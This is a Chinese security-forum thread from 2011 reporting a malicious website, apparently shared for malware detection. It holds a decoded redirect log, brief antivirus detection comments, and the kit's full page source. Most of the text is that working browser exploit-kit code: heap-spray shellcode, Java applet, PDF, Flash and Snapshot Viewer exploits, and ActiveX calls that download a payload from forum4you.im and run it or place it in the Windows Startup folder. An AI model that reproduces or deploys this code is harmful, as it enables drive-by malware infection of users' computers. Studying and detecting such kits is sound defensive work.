hxxp://needjobs.co.cc/[挂马][已检测 by always]

always

关于:hxxp://needjobs.co.cc/解密的日志(全体输出 -  11):

Level  0>hxxp://needjobs.co.cc/
Level  1>hxxp://forum4you.im/el/tyon5g6.php?s=3dac34e896d868e7908e7e0f1cce6137
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=flash10_exm&s=3dac34e896d868e7908e7e0f1cce6137&fh=
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=snap&s=3dac34e896d868e7908e7e0f1cce6137&fh=
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh=
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137
Level  2>hxxp://forum4you.im/el/uD1X2EgXQz.php?file=pdf&s=3dac34e896d868e7908e7e0f1cce6137
Level  2>hxxp://forum4you.im/el/uD1X2EgXQz.php?file=java
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=java_invoke&s=3dac34e896d868e7908e7e0f1cce6137
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=java_trust&s=3dac34e896d868e7908e7e0f1cce6137
Level  2>hxxp://forum4you.im/el/qvou1ui.php?spl=mdac&s=3dac34e896d868e7908e7e0f1cce6137&fh=

日志由 Redoce2.1第20次修正版于 2011/6/22 22:43:10 生成。

xiaoxmj

金山报

zwenchang

红伞 未能拦截

wuyongliang

avast拦截

250662772

应该不会被报毒吧?

<SCRIPT>
function Complete(redir){
    location.href = redir;
}

function CheckIP(r){

    var req = null;
    try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {
        try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {
            try { req = new XMLHttpRequest(); } catch(e) {}
        }
    }
    if (req == null) Complete("?s=");
    req.open("GET", "?check_load=1&r="+Math.random(), false);
    req.send(null);
    if (req.responseText == "1"){
        Complete("");
    } else {
        if(r=="1"){
            Complete("?s=");
        }
    }
}

var timer = 1;
function next_time(next){
    timer=timer+next;
return timer;
}function java_trust(){
try{
var javaelem = document.createElement("applet");
var paramelem = document.createElement("param");
paramelem.setAttribute("name", "url");
paramelem.setAttribute("value", "http://forum4you.im/el/qvou1ui.php?spl=java_trust&s=3dac34e896d868e7908e7e0f1cce6137");
javaelem.setAttribute("codebase", "file:C:\\Program Files\\java\\jre6\\lib\\ext");
javaelem.setAttribute("code", "http://1311731698/AppletX");
javaelem.setAttribute("width", "300");
javaelem.setAttribute("height", "300");
javaelem.appendChild(paramelem);
document.body.appendChild(javaelem);  
} catch(e){}} setTimeout("java_trust();",next_time(100));
    function java_all(){
        try{
              var javaelem = document.createElement("applet");
            var paramelem = document.createElement("param");
            paramelem.setAttribute("name", "url");
            paramelem.setAttribute("value", "http://forum4you.im/el/qvou1ui.php?spl=java_invoke&s=3dac34e896d868e7908e7e0f1cce6137");
            
            javaelem.setAttribute("code", "folder.Globus.class");
            javaelem.setAttribute("archive", "http://forum4you.im/el/uD1X2EgXQz.php?file=java");
            javaelem.setAttribute("width", "30");
            javaelem.setAttribute("height", "50");
            javaelem.appendChild(paramelem);
            
            document.body.appendChild(javaelem);  
        } catch(e){}
    }
            
         setTimeout("java_all();",next_time(50));
    function pdf_all(){
        try{
                var pdf_embd = document.createElement("object");
                pdf_embd.setAttribute("type", "application/pdf");
                pdf_embd.setAttribute("data", "http://forum4you.im/el/uD1X2EgXQz.php?file=pdf&s=3dac34e896d868e7908e7e0f1cce6137");
                pdf_embd.setAttribute("width", "300");
                pdf_embd.setAttribute("height", "300");
                document.body.appendChild(pdf_embd);  
        } catch(e){}
    }
   
     setTimeout("pdf_all();",next_time(2000));
    function getCrashName()  { return 'ow9d0f8dfao.fla'; }
    function getBlockSize()  { return 1024; }
    function getAllocSize()  { return 1024 * 1024; }
    function getAllocCount() { return 300; }
    function getFillBytes()  { return '%u0c0c%u0c0c'; }
    function getShellCode()  { return "%u4141%u4141"+"%u9090%u9090%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47%uD2CE%uD6D2%u899C%uC089%uD4C9%uCBD3%uDF92%uD3C9%uCF88%u89CB%uCAC3%uD789%uC9D0%u97D3%uCFD3%uD688%uD6CE%uD599%uCAD6%uC09B%uC7CA%uCED5%u9697%uC3F9%uCBDE%uD580%u959B%uC7C2%u95C5%uC392%u9F9E%uC290%u909E%uC39E%u9F91%u9E96%u91C3%u96C3%u97C0%uC5C5%u90C3%u9597%u8091%uCEC0%uA69B"; }

   
function flash10_exm(){

    var fname = "Spray";
    var Flash_obj = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
        Flash_obj+= "<param name='movie' value='"+fname+".swf' />";
        Flash_obj+= "<param name='allowScriptAccess' value='always' />";
        Flash_obj+= "<param name='Play' value='0' />";
        Flash_obj+= "<embed src='"+fname+".swf' id='swf_id' name='swf_id'";
        Flash_obj+=     "allowScriptAccess='always'";
        Flash_obj+=     "type='application/x-shockwave-flash'";
        Flash_obj+=     "width='10' height='10'>";
        Flash_obj+= "</embed>";
        Flash_obj+= "</object>";

    var oSpan = document.createElement("span");
        document.body.appendChild(oSpan);
        oSpan.innerHTML = Flash_obj;
} setTimeout("flash10_exm();",next_time(3000)); function _scp(v2){
var newDiv2 = document.createElement('script');

newDiv2.text = v2;
document.body.appendChild(newDiv2);
}

function ax_pack(){
    try{
    var AXP = '<object id=ax1 classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}"></object>';
    AXP+= '<object id=ax2 classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22B92}"></object>';
    AXP+= '<object id=ax3 classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22BF2}"></object>';
    AXP+= '<object id=ax4 classid="clsid:{18A295DA-088E-42D1-BE31-5028D7F9B965}"></object>';
    AXP+= '<object id=ax5 classid="clsid:{3356DB7C-58A7-11D4-AA5C-006097314BF8}"></object>';
    AXP+= '<object id=ax6 classid="clsid:{7F9B30F1-5129-4F5C-A76C-CE264A6C7D10}"></object>';
    AXP+= '<object id=ax7 classid="clsid:{2BCEAECE-6121-4E78-816C-8CD3121361B0}"></object>';
    AXP+= '<object id=ax8 classid="clsid:{67A5F8DC-1A4B-4D66-9F24-A704AD929EEE}"></object>';
    AXP+= '<object id=ax9 classid="clsid:{59DBDDA6-9A80-42A4-B824-9BC50CC172F5}"></object>';
    AXP+= '<object id="ax10" classid="clsid:E9880553-B8A7-4960-A668-95C68BED571E" ></object>';
    AXP+= '<OBJECT ID="ax11" WIDTH="0" HEIGHT="0" CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61">';
    AXP+= '<PARAM NAME="propWidth"  VALUE="0">';
    AXP+= '<PARAM NAME="propWidth"  VALUE="0">';
    AXP+= '<PARAM NAME="propDownloadUrl"  VALUE="http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137">';
    AXP+= '<PARAM NAME="propPostDownloadAction"  VALUE="run">';
    AXP+= '</OBJECT>';
    document.body.innerHTML = AXP;
   
    var    SCRP2 ='  try{ ax1.OpenWebFile("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax2.OpenWebFile("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax3.OpenWebFile("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax4.OpenWebFile("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax5.installAppMgr("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';     
    SCRP2+= ' try{ ax6.PerformUpdateAsync("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax7.ExecutePreferredApplication("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh="); } catch (e) {} ';
    SCRP2+= ' try{ ax8.Init("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh=","ax8"); } catch (e) {} ';
    SCRP2+= ' try{ ax9.DownloadFile("http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh=", "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\viewinfo.exe", 1, 1);} catch (e) {} ';
    SCRP2+= ' try{';
    SCRP2+= 'ax10.Initialize("ax10","ax10","","");';
    SCRP2+= 'ax10.DownloadAndExecute("","",1,"http://forum4you.im/el/qvou1ui.php?spl=ax&s=3dac34e896d868e7908e7e0f1cce6137&fh=","");';
    SCRP2+= 'ax10.DownloadAndInstall("True");';
    SCRP2+= '} catch (e) {} ';   
    _scp(SCRP2);

    } catch (e) {}

} setTimeout("ax_pack();",next_time(1000)); function snap_frame(){
    var snapcode="<iframe src='ldap://' width=10 height=10>";
    document.body.innerHTML = snapcode;
}

function snapshot() {
try {
    var url_link = "http://forum4you.im/el/qvou1ui.php?spl=snap&s=3dac34e896d868e7908e7e0f1cce6137&fh=";
    var i;
    var obj;
    var path_save = new Array();
    path_save[0] = "c:/Program Files/Outlook Express/WAB.EXE";
    path_save[1] = "d:/Program Files/Outlook Express/WAB.EXE";
    path_save[2] = "e:/Program Files/Outlook Express/WAB.EXE";
    var obj1 = new ActiveXObject("snpvw.Snapshot Viewer Control.1");
    if (obj1) {
        setTimeout("snap_frame();", 3000);
        for (i in path_save) {
            obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1");
            var path_end = path_save;
            obj.Zoom = 0;
            obj.ShowNavigationButtons = false;
            obj.AllowContextMenu = false;
            obj.SnapshotPath = url_link;
            try {
                obj.CompressedPath = path_end;
                obj.PrintSnapshot();
            } catch(e) {}
        }
    }
} catch(e) {}
} setTimeout("snapshot();",next_time(1000));  setTimeout("CheckIP(1);",next_time(9000));  </SCRIPT>
<APPLET code=http://1311731698/AppletX width=300 height=300 codebase="file:C:\Program Files\java\jre6\lib\ext"><PARAM NAME="url" VALUE="http://forum4you.im/el/qvou1ui.php?spl=java_trust&s=3dac34e896d868e7908e7e0f1cce6137"><PARAM NAME="code" VALUE="http://1311731698/AppletX"><PARAM NAME="width" VALUE="300"><PARAM NAME="height" VALUE="300"><PARAM NAME="codebase" VALUE="file:C:\Program Files\java\jre6\lib\ext"></APPLET><APPLET archive=http://forum4you.im/el/uD1X2EgXQz.php?file=java code=folder.Globus.class width=30 height=50><PARAM NAME="url" VALUE="http://forum4you.im/el/qvou1ui.php?spl=java_invoke&s=3dac34e896d868e7908e7e0f1cce6137"><PARAM NAME="archive" VALUE="http://forum4you.im/el/uD1X2EgXQz.php?file=java"><PARAM NAME="code" VALUE="folder.Globus.class"><PARAM NAME="width" VALUE="30"><PARAM NAME="height" VALUE="50"></APPLET></BODY></HTML>

疯狂的小鬼

惊现辉辉

shangsrshui

网页已无法打开！